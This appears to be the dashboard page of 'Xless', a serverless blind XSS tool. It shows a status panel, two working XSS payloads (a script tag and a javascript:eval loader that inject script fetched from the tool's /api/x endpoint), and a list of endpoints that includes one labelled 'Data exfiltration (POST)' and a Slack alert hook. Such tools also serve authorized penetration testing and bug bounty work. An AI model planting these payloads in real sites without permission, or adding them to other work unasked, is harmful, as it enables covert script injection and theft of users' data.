Xless Dashboard
The Serverless Blind XSS App (Next.js Edition)
Status
Slack Webhook: Missing
ImgBB API Key: Optional / Missing
Payload Examples
Use any path under /api/ to trigger an Out-of-Band alert and load the XSS payload.
Basic Script Tag
<script src="/api/x"></script>Advanced Loader
javascript:eval('var a=document.createElement(\'script\');a.src=\'/api/x\';document.body.appendChild(a)')Endpoints
/api/health- Check system health/api/c- Data exfiltration (POST)/api/message?text=Hello- Manual Slack message/api/examples- Text-based payload examples
Remember to set SLACK_INCOMING_WEBHOOK and IMGBB_API_KEY in your environment variables.